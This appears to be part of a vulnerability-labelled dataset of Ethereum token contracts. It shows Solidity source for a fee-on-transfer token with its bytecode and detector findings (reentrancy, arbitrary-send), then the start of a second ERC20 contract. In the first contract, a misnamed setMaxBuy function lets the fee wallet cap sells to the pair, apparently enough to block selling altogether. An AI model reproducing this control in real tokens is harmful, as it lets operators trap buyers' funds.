"ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == uniswapV2Pair && from != address(uniswapV2Router) )?1:0)*amount <= _maxTxAmount); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_feeAddrWallet1 == _msgSender() ); _; } function setMaxBuy(uint256 limit) external overridden { _maxTxAmount = limit; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a919061245b565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061201e565b6103c2565b6040516101579190612440565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906125bd565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611fcb565b6103f0565b6040516101bf9190612440565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea9190612632565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611f31565b61054c565b60405161023e91906125bd565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b6040516102809190612372565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab919061245b565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d6919061201e565b610756565b6040516102e89190612440565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611f8b565b610cb4565b60405161033c91906125bd565b60405180910390f35b34801561035157600080fd5b5061035a610d3b565b005b34801561036857600080fd5b50610383600480360381019061037e919061208b565b610dad565b005b60606040518060400160405280600581526020017f4b6169646f000000000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e18565b8484610e20565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610feb565b6104be84610409610e18565b6104b985604051806060016040528060288152602001612c0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144f9092919063ffffffff16565b610e20565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e18565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816114b3565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b565b9050919050565b6105a5610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106299061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b4149444f000000000000000000000000000000000000000000000000000000815250905090565b600061076a610763610e18565b8484610feb565b6001905092915050565b61077c610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108009061251d565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108509061259d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610e20565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611f5e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611f5e565b6040518363ffffffff1660e01b8152600401610a1d92919061238d565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611f5e565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b25969594939291906123df565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b7791906120b8565b5050506001600d60166101000a81548160ff02191690831515021790555067016345785d8a0000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5e9291906123b6565b602060405180830381600087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb0919061205e565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7c610e18565b73ffffffffffffffffffffffffffffffffffffffff1614610d9c57600080fd5b6000479050610daa816117a9565b50565b610db5610e18565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0e57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061257d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef7906124bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fde91906125bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110529061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061247d565b60405180910390fd5b6000811161110e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111059061253d565b60405180910390fd5b600e5481600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111bd5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6111c85760006111cb565b60015b60ff166111d89190612729565b11156111e357600080fd5b60016009819055506009600a819055506111fb6106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561126957506112396106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561136f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113855760016009819055506009600a819055505b60006113903061054c565b9050600d60159054906101000a900460ff161580156113fd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114155750600d60169054906101000a900460ff165b1561143d57611423816114b3565b6000479050600081111561143b5761143a476117a9565b5b505b505b61144a838383611815565b505050565b6000838311158290611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e919061245b565b60405180910390fd5b50600083856114a69190612783565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114eb576114ea6128de565b5b6040519080825280602002602001820160405280156115195781602001602082028036833780820191505090505b5090503081600081518110611531576115306128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115d357600080fd5b505afa1580156115e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160b9190611f5e565b8160018151811061161f5761161e6128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061168630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e20565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ea9594939291906125d8565b600060405180830381600087803b15801561170457600080fd5b505af1158015611718573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b6000600754821115611782576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117799061249d565b60405180910390fd5b600061178c611825565b90506117a1818461185090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611811573d6000803e3d6000fd5b5050565b61182083838361189a565b505050565b6000806000611832611a65565b91509150611849818361185090919063ffffffff16565b9250505090565b600061189283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac4565b905092915050565b6000806000806000806118ac87611b27565b95509550955095509550955061190a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119eb81611c37565b6119f58483611cf4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5291906125bd565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a00009050611a9967016345785d8a000060075461185090919063ffffffff16565b821015611ab75760075467016345785d8a0000935093505050611ac0565b81819350935050505b9091565b60008083118290611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b02919061245b565b60405180910390fd5b5060008385611b1a91906126f8565b9050809150509392505050565b6000806000806000806000806000611b448a600954600a54611d2e565b9250925092506000611b54611825565b90506000806000611b678e878787611dc4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144f565b905092915050565b6000808284611be891906126a2565b905083811015611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906124dd565b60405180910390fd5b8091505092915050565b6000611c41611825565b90506000611c588284611e4d90919063ffffffff16565b9050611cac81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0982600754611b8f90919063ffffffff16565b600781905550611d2481600854611bd990919063ffffffff16565b6008819055505050565b600080600080611d5a6064611d4c888a611e4d90919063ffffffff16565b61185090919063ffffffff16565b90506000611d846064611d76888b611e4d90919063ffffffff16565b61185090919063ffffffff16565b90506000611dad82611d9f858c611b8f90919063ffffffff16565b611b8f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ddd8589611e4d90919063ffffffff16565b90506000611df48689611e4d90919063ffffffff16565b90506000611e0b8789611e4d90919063ffffffff16565b90506000611e3482611e268587611b8f90919063ffffffff16565b611b8f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e605760009050611ec2565b60008284611e6e9190612729565b9050828482611e7d91906126f8565b14611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb4906124fd565b60405180910390fd5b809150505b92915050565b600081359050611ed781612bc7565b92915050565b600081519050611eec81612bc7565b92915050565b600081519050611f0181612bde565b92915050565b600081359050611f1681612bf5565b92915050565b600081519050611f2b81612bf5565b92915050565b600060208284031215611f4757611f4661290d565b5b6000611f5584828501611ec8565b91505092915050565b600060208284031215611f7457611f7361290d565b5b6000611f8284828501611edd565b91505092915050565b60008060408385031215611fa257611fa161290d565b5b6000611fb085828601611ec8565b9250506020611fc185828601611ec8565b9150509250929050565b600080600060608486031215611fe457611fe361290d565b5b6000611ff286828701611ec8565b935050602061200386828701611ec8565b925050604061201486828701611f07565b9150509250925092565b600080604083850312156120355761203461290d565b5b600061204385828601611ec8565b925050602061205485828601611f07565b9150509250929050565b6000602082840312156120745761207361290d565b5b600061208284828501611ef2565b91505092915050565b6000602082840312156120a1576120a061290d565b5b60006120af84828501611f07565b91505092915050565b6000806000606084860312156120d1576120d061290d565b5b60006120df86828701611f1c565b93505060206120f086828701611f1c565b925050604061210186828701611f1c565b9150509250925092565b60006121178383612123565b60208301905092915050565b61212c816127b7565b82525050565b61213b816127b7565b82525050565b600061214c8261265d565b6121568185612680565b93506121618361264d565b8060005b83811015612192578151612179888261210b565b975061218483612673565b925050600181019050612165565b5085935050505092915050565b6121a8816127c9565b82525050565b6121b78161280c565b82525050565b60006121c882612668565b6121d28185612691565b93506121e281856020860161281e565b6121eb81612912565b840191505092915050565b6000612203602383612691565b915061220e82612923565b604082019050919050565b6000612226602a83612691565b915061223182612972565b604082019050919050565b6000612249602283612691565b9150612254826129c1565b604082019050919050565b600061226c601b83612691565b915061227782612a10565b602082019050919050565b600061228f602183612691565b915061229a82612a39565b604082019050919050565b60006122b2602083612691565b91506122bd82612a88565b602082019050919050565b60006122d5602983612691565b91506122e082612ab1565b604082019050919050565b60006122f8602583612691565b915061230382612b00565b604082019050919050565b600061231b602483612691565b915061232682612b4f565b604082019050919050565b600061233e601783612691565b915061234982612b9e565b602082019050919050565b61235d816127f5565b82525050565b61236c816127ff565b82525050565b60006020820190506123876000830184612132565b92915050565b60006040820190506123a26000830185612132565b6123af6020830184612132565b9392505050565b60006040820190506123cb6000830185612132565b6123d86020830184612354565b9392505050565b600060c0820190506123f46000830189612132565b6124016020830188612354565b61240e60408301876121ae565b61241b60608301866121ae565b6124286080830185612132565b61243560a0830184612354565b979650505050505050565b6000602082019050612455600083018461219f565b92915050565b6000602082019050818103600083015261247581846121bd565b905092915050565b60006020820190508181036000830152612496816121f6565b9050919050565b600060208201905081810360008301526124b681612219565b9050919050565b600060208201905081810360008301526124d68161223c565b9050919050565b600060208201905081810360008301526124f68161225f565b9050919050565b6000602082019050818103600083015261251681612282565b9050919050565b60006020820190508181036000830152612536816122a5565b9050919050565b60006020820190508181036000830152612556816122c8565b9050919050565b60006020820190508181036000830152612576816122eb565b9050919050565b600060208201905081810360008301526125968161230e565b9050919050565b600060208201905081810360008301526125b681612331565b9050919050565b60006020820190506125d26000830184612354565b92915050565b600060a0820190506125ed6000830188612354565b6125fa60208301876121ae565b818103604083015261260c8186612141565b905061261b6060830185612132565b6126286080830184612354565b9695505050505050565b60006020820190506126476000830184612363565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad826127f5565b91506126b8836127f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612851565b5b828201905092915050565b6000612703826127f5565b915061270e836127f5565b92508261271e5761271d612880565b5b828204905092915050565b6000612734826127f5565b915061273f836127f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612851565b5b828202905092915050565b600061278e826127f5565b9150612799836127f5565b9250828210156127ac576127ab612851565b5b828203905092915050565b60006127c2826127d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612817826127f5565b9050919050565b60005b8381101561283c578082015181840152602081019050612821565b8381111561284b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612bd0816127b7565b8114612bdb57600080fd5b50565b612be7816127c9565b8114612bf257600080fd5b50565b612bfe816127f5565b8114612c0957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206410146fa9e296eaa7a63f65056501e5ec10881fd46dcc0b78619547cd3ecfc164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,854
0xc99564b4b13c85cccb3b402bde9c2329cf503339
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 internal _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function 